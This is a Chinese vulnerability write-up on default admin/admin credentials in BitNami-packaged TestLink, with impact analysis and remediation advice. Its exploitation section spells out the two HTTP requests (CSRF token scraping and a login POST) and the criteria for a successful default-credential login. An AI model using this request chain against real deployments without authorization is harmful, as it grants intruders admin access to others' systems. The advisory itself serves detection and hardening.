BitNami TestLink 默认口令漏洞复现

0x00 漏洞概述

TestLink 是一款基于 Web 的测试管理系统，广泛用于软件测试过程中的测试用例管理、测试计划执行与测试报告统计。BitNami 是一个开源打包项目，它将 TestLink 与 Apache、MySQL/MariaDB、PHP 等组件整合为一键安装包和虚拟设备，大幅降低了部署门槛，也因此让大量使用者以"开箱即用"的方式把系统直接跑了起来。

问题恰恰出在这个"开箱即用"上。部分部署形态下，TestLink 组件的管理员账号保留了默认凭证组合 admin/admin，使用者若在安装后未强制修改，攻击者无需任何攻击技巧，仅凭公开可知的默认口令即可登录系统后台，进而查看系统信息、修改系统配置，甚至配合其他漏洞控制整个系统。该问题属于典型的默认口令类风险，CVSS 评分 8.0，风险等级为高危，披露时间为 2021-03-10。

与代码层面的缺陷不同，这类漏洞的"补丁"不在软件里，而在部署者的运维习惯里——只要默认口令未改，任何一次后台登录页的暴露都可能直接演变为后台失陷。

0x01 影响范围

• 产品：BitNami 打包分发的 TestLink 测试管理系统。
• 判定特征：Web 页面中包含 Bitnami 标识图片元素（页面主体存在指向 img/bitnami.png 的图片引用，alt 文本为 Bitnami）。
• 影响条件：管理员账号口令仍为默认值 admin/admin，且登录页可被攻击者访问（如直接暴露在公网或不可信网络中）。
• 受影响的具体版本号：公开渠道未检索到权威的版本范围说明，本篇不作断言；凡保留默认凭证的部署均应视为处于风险之中。

需要说明的是，TestLink 官方发行版同样长期存在 admin/admin 的默认管理员组合，而 BitNami 镜像通过环境变量注入管理员凭证（公开文档记录的默认值为 user/bitnami，实际部署中常被改为弱口令组合），因此不同分发渠道、不同安装时间的实例状态差异较大，实际影响以目标实例是否仍保留默认凭证为准。

0x02 漏洞分析

TestLink 的登录流程本身是标准表单认证：访问登录页时，服务端会在 HTML 中输出两个隐藏域 CSRFName 与 CSRFToken 用于防 CSRF 校验；提交登录时，浏览器需要将这两个隐藏域连同用户名 tl_login、密码 tl_password 一起以表单形式 POST 回 /testlink/login.php。这一机制本身没有问题，但它同时也为自动化尝试提供了清晰的"两步走"路径：先 GET 抓取 CSRF 参数，再 POST 提交凭证。

默认口令类风险的根源在于部署默认值与用户习惯的错位。一键安装包追求"零配置可用"，初始管理员账号往往直接给出一组人尽皆知的凭证；而多数使用者装完即用，极少主动进入用户管理修改口令。叠加以下因素，风险被进一步放大：

1. 后台登录页通常无验证码、无登录失败锁定，自动化尝试毫无阻力；

2. 系统多部署于内网测试环境，运维者默认"不暴露公网就安全"，但测试系统随业务变动被迁移、端口映射到公网的情况并不少见；

3. TestLink 后台具备系统配置修改、用户管理等高权限功能，一旦登录成功，攻击者可以查看系统环境信息、篡改配置，并可能结合后台其他功能将影响扩大到服务器层面。

换言之，漏洞本体是"配置缺陷 + 认证机制缺乏防护"的组合，利用成本几乎为零。

0x03 利用链与请求包

完整的验证链路共两步，均针对登录接口 /testlink/login.php。以下请求包依据该漏洞的验证流程整理，示意地址使用 192.0.2.x 网段。

第一步：GET 请求获取登录页与 CSRF 参数。

GET /testlink/login.php?viewer= HTTP/1.1
Host: 192.0.2.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close

该请求开启跟随重定向，预期返回状态码 200。从响应 HTML 中提取两个隐藏域的值：

• CSRFName：匹配 CSRFName' value='(.*?)' 所得；
• CSRFToken：匹配 CSRFToken' value='(.*?)' 所得。

第二步：携带 CSRF 参数，使用默认凭证 admin/admin 提交登录。

POST /testlink/login.php?viewer= HTTP/1.1
Host: 192.0.2.10
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close

CSRFName={CSRFName}&CSRFToken={CSRFToken}&reqURI=&destination=&tl_login=admin&tl_password=admin

其中 {CSRFName} 与 {CSRFToken} 为第一步提取的值回填，reqURI 与 destination 置空。请求同样开启跟随重定向。

成功判定依据为三项同时满足：响应状态码为 200；响应头出现 Set-Cookie:（服务端下发会话 Cookie）；响应体包含 location.href（登录成功后的跳转脚本）。三者齐备即可判定默认口令有效、后台可登录。

需要强调两点边界：其一，上述链路用于检测默认口令是否有效，验证链路定义中未配置更进一步的独立利用步骤，登录成功后的后台操作（查看系统信息、修改配置等）属于登录后的常规功能使用，本篇不展开；其二，本篇所有请求包均依据验证链路定义整理，未进行实录测试，不包含"实测中"性质的断言，登录后能否进一步控制服务器取决于具体版本与功能配置，此为推断性分析。

0x04 检测与修复建议

检测方面：

1. 排查资产中是否存在页面含 Bitnami 标识图片引用的 TestLink 实例，梳理其暴露面；

2. 在授权前提下，按 0x03 的两步请求验证默认凭证是否仍可用；

3. 审计访问日志与认证日志，关注 /testlink/login.php 的异常高频请求与来自陌生地址的成功登录记录。

修复方面：

1. 立即修改默认管理员口令，新密码应包含大小写字母、数字和特殊字符，长度不少于 8 位（建议 12 位以上）；

2. 如非必要，禁止将系统暴露到公网，管理入口仅限可信网段访问；

3. 通过防火墙等安全设备设置访问控制策略，配置白名单；

4. 开启操作日志审计，定期核查账户与登录记录；

5. 升级 TestLink 及 BitNami 安装包至新版本，部署时通过环境变量重新设定管理员凭证，避免沿用任何默认或弱口令组合。

0x05 参考资料

1. TestLink 注册和登录及用户管理（默认 admin/admin 登录说明）：https://zhuanlan.zhihu.com/p/109619976

2. BitNami TestLink Docker 镜像文档（管理员凭证环境变量与默认值）：https://github.com/ricardogarfe/bitnami-docker-testlink

3. TestLink 登录流程分析（CSRF 隐藏域与表单认证细节）：https://xz.aliyun.com/news/9906

除上述公开来源外，该问题无对应 CVE/CNVD 编号，未检索到权威厂商安全通告，其余细节全网无更多信息。